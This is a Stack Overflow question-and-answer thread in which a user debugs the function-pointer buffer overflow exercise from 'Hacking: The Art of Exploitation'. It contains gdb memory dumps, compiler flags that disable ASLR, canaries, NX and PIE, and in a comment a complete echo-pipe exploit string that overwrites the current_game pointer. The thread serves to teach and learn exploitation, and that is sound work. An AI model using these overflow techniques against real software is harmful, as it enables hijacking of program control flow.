3

I cannot get this buffer overflow exploit to work for the life of me. The source code is here. It is from the book, Hacking the Art of Exploitation. The subject here is the below struct:

struct user {
   int uid;
   int credits;
   int highscore;
   char name[100];
   int (*current_game) ();
};

The idea is to overflow name[100] such that the address provided after the 100 letter A's will overwrite the address of the function pointer, entitled current_game.

However, please see the below gdb readout:

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��048e2c]
56        printf("[You have %u credits] ->  ", player.credits);
(gdb) x/40x player.name
0x804c08c <player+12>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c09c <player+28>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0ac <player+44>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0bc <player+60>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0cc <player+76>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0dc <player+92>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0ec <player+108>:   0x41414141  0x080490bb  0x65383430  0x00006332
0x804c0fc:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c10c:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c11c:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) x/5x player.current_game
0x80490bb <pick_a_number>:    0x83e58955  0xec8318ec  0x9d2e680c  0xa2e80804
0x80490cb <pick_a_number+16>: 0x83fffff4
(gdb) print 6*16
$2 = 96

I've placed the address of another function into player.name as noted by the [Name: A*100 ... line. Below this, you can see the memory layout, how there are indeed 100 A's in memory. However, after the final A, we see that the next memory spot is 0x080490bb and has not been overwritten, even though we see that the player.name buffer does indeed contain an overflow just prior. I've shown a printout of player.current_game afterwards to display that it is indeed at address 0x80490bb which is what we see in the dump directly after the last 0x41414141. I am baffled here.

What I've Tried:

  1. Disabled ASLR on my Fedora 25 by setting /proc/sys/kernel/randomize_va_space to 0.
  2. Enabled executable stack in gcc.
  3. Turned off the stack protection in gcc.
  4. Turned off PIE
  5. You can confirm with this command that I used to make the binary: gcc -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc
  6. I've tried writing the address in as \x2c\x8e\x04\08 AND just straight 0x08048e2c, neither work. This is the address of the function I'm trying to run.
  7. Observed that paddr and vaddr are the same throughout multiple executions of the program.
  8. Debugged in both gdb as you see, as well as Radare2. You can see my rabin2 printout for the file below:

    havecode true pic false canary false nx false crypto false va true intrp /lib/ld-linux.so.2 bintype elf class ELF32 lang c arch x86 bits 32 machine Intel 80386 os linux minopsz 1 maxopsz 16 pcalign 0 subsys linux endian little stripped false static false linenum true lsyms true relocs true rpath NONE binsz 20471

Thanks.

Update

I am able to successfully cause a segmentation fault with the chars (such as 'A' or 'B'), however, when I do the A*100 followed by 08048e2c memory address which I am trying to jump execution to, the segfault happens, but the player.current_game function pointer address (which is right after the player.name buffer as shown above) is oddly [DEBUG] current_game pointer @ 0x34303830 rather than the address 08048e2c, which causes the segmentation fault since it can't execute 0x34303830. Additionally, I placed read/write watches on 0x804c0ec to see if I could find anything writing but was not successful in finding anything else.

  • As far as I can tell, the exploit involves the following: 1. enter any name - 2. play any game - 3. change name to exploit string - 4. pick the same game again (so the pointer won't be reset). Can you confirm? – Nordwald Jan 25 '17 at 8:10
  • Definitely, that's how it's described in the book. – the_endian Jan 25 '17 at 8:13
4

I'm sorry, but this certainly works for me. Lets go through this step by step, shall we?

1. Set up

I used your command line to compile the program:

gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc

I've done one small change though, I changed

#define DATAFILE "/var/chance.data" // File to store user data

to

#define DATAFILE "chance.data" // File to store user data

for some peace of mind.

2. Play the game!

lose :(

As you can see, I'm actually pretty bad at this. The only thing we need to remember is that we chose '1' at the game menu though.

3. Exploit it!

Lets start by changing our name to overwrite the pointer:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

SegFault

Something happened! Shoudln't that also work with just 4x BBBB at the end? Nope! But why? My best guess: stack alignment. Let's check this out.

4. Toying around

In game_of_choice.c I've changed

char name[100];

to

char name[128];

And tried the same with 128 times 'A':

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

It works. So it seems your problem was stack alignment

The standard value of -mpreferred-stack-boundary seems to be 4, meaning gcc is trying to create 16-byte aligned stack boundaries.

5. ASCII fun

The program is reading a string from the command line. What we want is to pass the address 0x08048e2c in this string in a fashion is can be jumped too. The problem is that if we just write 08048e2c, we are actually passing 0x3038303438653263 (0 turns into 0x30, 8 -> 0x38, and so on each digit is a one byte number) as a value to the program. So we need to pass the actual bytes that make up the address.

When we pass \x2c\x8e\x04\x08 in the string, we actually pass 0x5c7832635c7838655c7830345c3038, because it is still interpreted as a sequence of characters which are translated to byte values one by one.

When we have a look at any ASCII table, we notice that \x08 translates to the special backspace-character. We certainly can not include it in text.

Using perl -e or echo -e, we let the corresponding program know it should look out for escape sequences when it receives a string. So they actually output the 'real' byte values.

echo -e '\x2c\x8e\x04\08'
  • I too was able to over write it with Bs, although inconsistently (due to the stack alignment as you said, great catch!) however I have not yet been able to get it to execute the function code mentioned above but again this may be due to the stack alignment issue so let me play wit it some more. Was also going to make sure nothing else was writing to the address after the overflow was run. When I overflow with function address, it seems to disappear. – the_endian Jan 25 '17 at 9:07
  • Make sure to use the right return address in the name: neither \x2c\x8e\x04\08 nor 0x08048e2c are going to help you. You need the actual four bytes, since this escape sequences are not interpreted (e.g. '\' results in \x5c, ...). See output from echo -e '\x2c\x8e\x04\08' – Nordwald Jan 25 '17 at 9:23
  • You're onto something there! See my update above. Basically, the function pointer player.current_game is being overwritten with 0x34303830 which is ASCII for 0804, which is the first part of the address that contains the code I want to execute. For some reason, even when I write it in as plain 08048e2c it is still not being interpreted as an address, but instead it's interpreting the ASCII values of those numbers... – the_endian Jan 25 '17 at 9:42
  • This is because the program expects a series of chars rather than anything else (e.g. a string with escape sequences). So you'll have to provide the actual bytes (problematic, since \x08 actually means 'backspace'). – Nordwald Jan 25 '17 at 10:24
  • echo -e '1\n5\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2c\x8e\x04\x08\n1' | ./goc – Nordwald Jan 25 '17 at 10:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.